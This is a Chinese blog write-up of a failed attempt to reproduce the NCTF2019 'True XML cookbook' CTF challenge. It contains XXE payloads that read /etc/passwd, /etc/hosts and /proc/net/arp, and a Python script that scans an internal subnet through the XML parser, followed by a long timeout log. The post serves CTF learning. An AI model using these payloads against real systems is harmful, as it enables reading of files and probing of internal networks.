[NCTF2019]True XML cookbook

已于 2022-09-01 00:22:25 修改
阅读量5.9k 收藏
点赞数
文章标签： xml python php
于 2022-09-01 00:17:43 首次发布
遵循CC BY-NC-SA 2.5 CN协议文本
本文链接：https://blog.csdn.net/Wolffy007/article/details/126634458
版权

小记

早前做过该题目的复现，但没有成功吧。

读文件测试

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY wolffy SYSTEM "file:///etc/passwd">]>
<user><username>&wolffy;</username><password>testtest</password></user>

读网络连接

  • /etc/hosts 储存域名解析的缓存
  • /proc/net/arp 每个网络接口的arp表中dev包

hosts

<result><code>0</code><msg>127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
</msg></result>

arp

<result><code>0</code><msg>IP address       HW type     Flags       HW address            Mask     Device
169.254.1.1      0x1         0x2         ee:ee:ee:ee:ee:ee     *        eth0
10.128.253.12    0x1         0x2         ee:ee:ee:ee:ee:ee     *        eth0
</msg></result>

还是Python吧

burp似乎有些问题

访问测试
#-*- coding:utf-8 -*-
import requests
from urllib import quote
url="http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php"
postdata='<?xml version="1.0" encoding="utf-8"?>\
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///etc/passwd">]>\
<user><username>&goodies;</username><password>testtest</password></user>'
print  len(postdata)
headers={
    "Host": "c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81",
    "Content-Length": str(len(postdata)),
    "Accept": "application/xml, text/xml, */*; q=0.01",
    "Content-Type": "application/xml;charset=UTF-8",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36",
    "Accept-Encoding": "gzip, deflate"
}
html=requests.post(url=url,headers=headers,data=postdata).text
print html
书写paylaod

注：request timeout异常处理学习自：https://icode.best/i/56946244417749

#-*- coding:utf-8 -*-
import requests
from urllib import quote
def do():
    url="http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php"

    # html=requests.post(url=url,headers=headers,data=postdata,timeout=1).text
    for i in range(1,255):
        postdata = '<?xml version="1.0" encoding="utf-8"?>\
            <!DOCTYPE creds [<!ENTITY wolffy SYSTEM "http://10.128.253.{0}">]>\
            <user><username>&wolffy;</username><password>testtest</password></user>'
        print  len(postdata)
        headers = {
            "Host": "c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81",
            "Content-Length": str(len(postdata)),
            "Accept": "application/xml, text/xml, */*; q=0.01",
            "Content-Type": "application/xml;charset=UTF-8",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36",
            "Accept-Encoding": "gzip, deflate"
        }
        print "10.128.253."+str(i)
        try:
            # print postdata.format(i)
            response = requests.post(url=url, headers=headers, timeout=1,data=postdata.format(i))
            # print(url + i)
            print(url + "    响应码:" + str(response.status_code))
            if response.status_code == 200:
               print "10.128.253."+str(i)+"成功！"
               break
        except requests.exceptions.ReadTimeout:
            print(url + "   连接超时")
        except requests.exceptions.ConnectionError:
            print(url + "   连接出错")
do()

结果：很遗憾 未能复现成功

已确认发包内容无异常。

C:\Python27\python.exe C:/Users/YUDONG/Desktop/py/Django老冯代码理解/test.py 
199
10.128.253.1
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.2
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.3
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.4
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.5
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.6
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.7
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.8
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.9
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.10
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.11
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.12
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.13
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.14
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.15
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.16
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.17
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.18
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.19
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.20
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.21
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.22
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.23
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.24
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.25
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.26
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.27
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.28
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.29
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.30
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.31
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.32
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.33
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.34
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.35
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.36
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.37
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.38
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.39
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.40
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.41
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.42
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.43
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.44
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.45
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.46
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.47
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.48
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.49
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.50
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.51
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.52
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.53
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.54
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.55
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.56
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.57
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.58
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.59
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.60
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.61
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.62
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.63
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.64
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.65
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.66
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.67
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.68
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.69
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.70
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.71
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.72
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.73
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.74
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.75
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.76
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.77
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.78
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.79
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.80
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.81
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.82
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.83
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.84
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.85
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.86
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.87
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.88
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.89
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.90
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.91
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.92
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.93
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.94
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.95
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.96
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.97
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.98
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.99
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.100
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.101
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.102
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.103
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.104
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.105
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.106
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.107
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.108
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.109
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.110
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.111
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.112
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.113
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.114
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.115
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.116
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.117
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.118
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.119
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.120
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.121
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.122
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.123
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.124
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.125
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.126
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.127
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.128
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.129
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.130
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.131
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.132
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.133
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.134
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.135
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.136
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.137
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.138
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.139
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.140
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.141
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.142
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.143
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.144
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.145
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.146
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.147
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.148
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.149
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.150
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.151
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.152
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.153
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.154
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.155
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.156
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.157
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.158
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.159
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.160
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.161
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.162
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.163
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.164
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.165
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.166
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.167
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.168
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.169
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.170
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.171
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.172
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.173
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.174
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.175
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.176
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.177
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.178
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.179
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.180
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.181
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.182
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.183
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.184
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.185
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.186
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.187
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.188
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.189
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.190
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.191
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.192
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.193
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.194
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.195
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.196
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.197
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.198
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.199
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.200
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.201
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.202
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.203
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.204
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.205
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.206
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.207
